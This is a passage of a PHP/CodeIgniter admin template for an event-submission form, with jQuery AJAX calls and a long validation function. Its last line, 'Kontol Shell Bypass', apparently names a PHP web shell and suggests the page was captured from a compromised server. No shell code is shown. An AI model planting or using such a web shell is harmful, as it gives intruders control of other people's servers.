						<label>Send Email After Alteration <span style="color:red;">*</span></label><br />
						<input type="checkbox" name="iqac" value="1"><label>IQAC</label>
						<?php } ?>
						<?php } ?>
						</div>
					</div>
					
			    </div>
			 </div>
			 <?php } ?>
			 			
              <div class="row">
				<div class="col-md-12">
                <div class="form-group form-btns">
                
				<a href="<?=base_url('admin/events')?>" class="btn btn-primary btn-block"> Cancel</a>
                
				<input type="submit" name="save_event" id="save_event" onclick ="return validateevents();" value="Submit Event" class="btn btn-primary btn-block" />
				</div> 
			 </div>
			</div>
            </div>
            </div>
           <?php echo form_close(); ?>
	</div>
   <!-- /.container-fluid -->
</div>

<script type='text/javascript'>
	// baseURL variable
	var baseURL= "<?php echo base_url();?>";
	$(document).ready(function(){
		
		// Get Course List By School Id
		$('#organizing_school').change(function(){
			var school_id = $(this).val();
			$.ajax({
					url:'<?= base_url('admin/events/getdepratmentrecord') ?>',
					method: 'post',
					data: {school_id: school_id},
					dataType: 'json',
					success: function(response){
						// Add options
						
						$('#organizing_departments').html('');
						$('#organizing_departments').append($('<option>').text(' -- Select Departments -- ').attr('value', ''));
						$.each(response,function(i,value){
							$('#organizing_departments').append($('<option>').text(value).attr('value', i));
							
						});
					}
				});
		});	
		<?php if(empty($sd['speakers_1'])){ ?>
		addField();	
		<?php } ?>			
			
});

function removeFile(eventsid){
	
	var r = confirm("Are you sure want to delete this file?");
	if(r==true) {
			$.ajax({
					url:'<?= base_url('admin/events/removecustomfile') ?>',
					method: 'post',
					data: {id: eventsid},
					dataType: 'json',
					success: function(response){
						// Add options
						if(response=='1001'){
							alert('File deleted successfully.');
							window.location.reload();
						} else {
							alert('Invalid Request');
						}
					}
				});
	}
}
function valueChanged(valone)
{
	if(valone=='2'){
		$("#start_date").show();
		$("#nstart_time").show();
		$("#nend_date").hide();
		$(".nend_time").hide();
		document.getElementById("end_date").required = false;
		document.getElementById("end_time").required = false;
	} else {
		$("#start_date").show();
		$("#nstart_time").show();
		$("#nend_date").show();
		$(".nend_time").show();
		document.getElementById("end_date").required = true;
		document.getElementById("end_time").required = true;
	}		
}
function validcoordinates()
{
	if($('#input_coordinates').is(":checked")){
		$("#n_latitude").show();
		$("#n_longitude").show();
	} else {
		$("#n_latitude").hide();
		$("#n_longitude").hide();
	}
}

function validateFreeevent()
{
	if($('#free_event').is(":checked")){
		$("#nevent_cost").hide();
	} else {
		$("#nevent_cost").show();
	}
}

function validateevents() {
    
    var event_title = $("#event_title").val();
    var event_slug = $("#event_slug").val();
    var venue_name = $("#venue_name").val();
	var start_date = $("#start_date").val();
    var start_time = $("#start_time").val();
    var address = $("#address").val();
    var contact_name = $("#contact_name").val();
    var phone = $("#phone").val();
    var email = $("#email").val();
    var organizing_school = $("#organizing_school").val();
    var organizing_departments = $("#organizing_departments").val();
    var event_specifications = $("#event_specifications").val();
    var status = $("#status").val();
    var objective_of_event = $("#objective_of_event").val();
    var coordinator_details = $("#coordinator_details").val();
    var event_budget = $("#event_budget").val();
    var convener_details = $("#convener_details").val();
    var speakers_10 = $("#speakers_10").val();
   
    
				 
    if (typeof event_budget == 'undefined') { event_budget = ''; }
    if (typeof coordinator_details == 'undefined') { coordinator_details = ''; }
    if (typeof objective_of_event == 'undefined') { objective_of_event = ''; }
    if (typeof event_title == 'undefined') { event_title = ''; }
    if (typeof event_slug == 'undefined') { event_slug = ''; }
    if (typeof venue_name == 'undefined') { venue_name = ''; }
    if (typeof address == 'undefined') { address = ''; }
	 if (typeof start_date == 'undefined') { start_date = ''; }
    if (typeof start_time == 'undefined') { start_time = ''; }
    if (typeof contact_name == 'undefined') { contact_name = ''; }
    if (typeof phone == 'undefined') { phone = ''; }
    if (typeof email == 'undefined') { email = ''; }
    if (typeof organizing_school == 'undefined') { organizing_school = ''; }
    if (typeof organizing_departments == 'undefined') { organizing_departments = ''; }
    if (typeof event_specifications == 'undefined') { event_specifications = ''; }
    if (typeof status == 'undefined') { status = ''; }
    if (typeof convener_details == 'undefined') { convener_details = ''; }
    if (typeof speakers_10 == 'undefined') { speakers_10 = ''; }
   
   // Remove has-error class
    $("#event_budget").parent().removeClass('has-error');
    $("#event_details_new").parent().removeClass('has-error');
    $("#objective_of_event").parent().removeClass('has-error');
    $("#coordinator_details").parent().removeClass('has-error');
    $("#start_date").parent().removeClass('has-error');
    $("#start_time").parent().removeClass('has-error');
    $("#event_title").parent().removeClass('has-error');
    $("#event_slug").parent().removeClass('has-error');
    $("#venue_name").parent().removeClass('has-error');
    $("#address").parent().removeClass('has-error');
    $("#contact_name").parent().removeClass('has-error');
    $("#phone").parent().removeClass('has-error');
    $("#email").parent().removeClass('has-error');
    $("#organizing_school").parent().removeClass('has-error');
    $("#convener_details").parent().removeClass('has-error');
    $("#organizing_departments").parent().removeClass('has-error');
    $("#status").parent().removeClass('has-error');
    $("#speakers_10").parent().removeClass('has-error');
    $("#affiliation_of_speakers0").parent().removeClass('has-error');
    $("#affiliation_organization0").parent().removeClass('has-error');
    $("#event_specifications_div").html('');
    $("#media_coverage_div").html('');
    $("#target_audiences_div").html('');
    $("#declaration_div").html('');
    $("#speakers_10_div").html('');
				 
    var error_flag = 'N';
    if (event_title == '') {
        $("#event_title").parent().addClass("has-error");
        error_flag = 'Y';
        $('#event_title').focus();
    }

    if ($('input[name="event_specifications[]"]:checked').length == 0) {
        $("#event_specifications_div").html('<span style="color:#ff0000;">Please select atleast one specification.</span>');
        error_flag = 'Y';
    }
    if (organizing_departments == '') {
        $("#organizing_departments").parent().addClass("has-error");
        error_flag = 'Y';
        $('#organizing_departments').focus();
    }
    if (organizing_school == '') {
        $("#organizing_school").parent().addClass("has-error");
        error_flag = 'Y';
        $('#organizing_school').focus();
    }
    if (email == '') {
        $("#email").parent().addClass("has-error");
        error_flag = 'Y';
        $('#email').focus();
    }
    if (phone == '') {
        $("#phone").parent().addClass("has-error");
        error_flag = 'Y';
        $('#phone').focus();
    }
    if (start_date == '') {
        $("#start_date").parent().addClass("has-error");
        error_flag = 'Y';
        $('#start_date').focus();
    }

    if (contact_name == '') {
        $("#contact_name").parent().addClass("has-error");
        error_flag = 'Y';
        $('#contact_name').focus();
    }
    if (address == '') {
        $("#address").parent().addClass("has-error");
        error_flag = 'Y';
        $('#address').focus();
    }
    if (start_time == '') {
        $("#start_time").parent().addClass("has-error");
        error_flag = 'Y';
        $('#start_time').focus();
    }

    if (speakers_10 == '') {
        $("#speakers_10").parent().addClass("has-error");
        $("#affiliation_of_speakers0").parent().addClass("has-error");
        $("#affiliation_organization0").parent().addClass("has-error");
        error_flag = 'Y';
        $('#speakers_10').focus();
		$("#speakers_10_div").html('<span style="color:#ff0000;">Please enter event speakers details.</span>')
    }
    
    if (venue_name == '') {
        $("#venue_name").parent().addClass("has-error");
        error_flag = 'Y';
        $('#venue_name').focus();
    }
	if(tinymce.get('event_details_new').getContent().trim()=='') {
      // if ($('#event_details_new').val().trim()=='') {
	    $("#event_details_new").parent().addClass("has-error");
        error_flag = 'Y';
        $('#event_details_new').focus();
    } 
    
	if(tinymce.get('convener_details').getContent().trim()=='') {
    //if ($('#convener_details').val().trim()=='') {
        $("#convener_details").parent().addClass("has-error");
        error_flag = 'Y';
        $('#convener_details').focus();
    } 
	if ($('input[name="declaration"]:checked').length == 0) {
        $("#declaration_div").html('<span style="color:#ff0000;">Please select declaration for this event posting.</span>');
        error_flag = 'Y';
    } 
	
	if($('input[name="target_audiences[]"]:checked').length == 0) {
		    $("#target_audiences_div").html('<span style="color:#ff0000;">Please select atleast one target audiences for this event posting.</span>');
			error_flag = 'Y';
        }
	if (!$('input[name="media_coverage[]"]:checked').val()) {	
	    $("#media_coverage_div").html('<span style="color:#ff0000;">Please select media coverage for this event posting.</span>');
        error_flag = 'Y';
    }
				 
		
	if(tinymce.get('objective_of_event').getContent().trim()=='') {			 
   // if ($('#objective_of_event').val().trim()=='') {
        $("#objective_of_event").parent().addClass("has-error");
        error_flag = 'Y';
        $('#objective_of_event').focus();
    } 
	if(tinymce.get('coordinator_details').getContent().trim()=='') {
    //if ($('#coordinator_details').val().trim()=='') {
        $("#coordinator_details").parent().addClass("has-error");
        error_flag = 'Y';
        $('#coordinator_details').focus();
    } 
    if ($('#event_budget').val().trim()=='') {
        $("#event_budget").parent().addClass("has-error");
        error_flag = 'Y';
        $('#event_budget').focus();
    } 
    if ($('#status').val().trim()=='') {
        $("#status").parent().addClass("has-error");
        error_flag = 'Y';
        $('#status').focus();
    }
    
    if (error_flag == 'Y') {
        return false;
    }


}	
</script>

	
<script type='text/javascript'>
	// baseURL variable
	var baseURL= "<?php echo base_url(); ?>";
	<?php if(!empty($sd['id'])){ ?> var incSerialNumber = <?php echo $count;?>; <?php }
	else{ ?> var incSerialNumber = 0; <?php } ?>
	function addField(){

		let multipleDocumentAttr = `
				<tr>
					<td>
					<input type="text" name="speakers_1[]" class="form-control" id="speakers_1${incSerialNumber}"  required>
					</td>
					<td ><a href="javascript:void(0)"  onclick="delField();" class="re-icon"><i class="fa fa-minus" aria-hidden="true"></i></a></td>
				</tr>`;
			$('.table2').append(multipleDocumentAttr);
			incSerialNumber = incSerialNumber += 1;
			$(".course_code").chosen();

	}
	function delField(id,del_id){	
		$(".table2").on('click', '.re-icon', function () {
				$(this).closest('tr').remove();
		});

	}
	
	
</script> 



Kontol Shell Bypass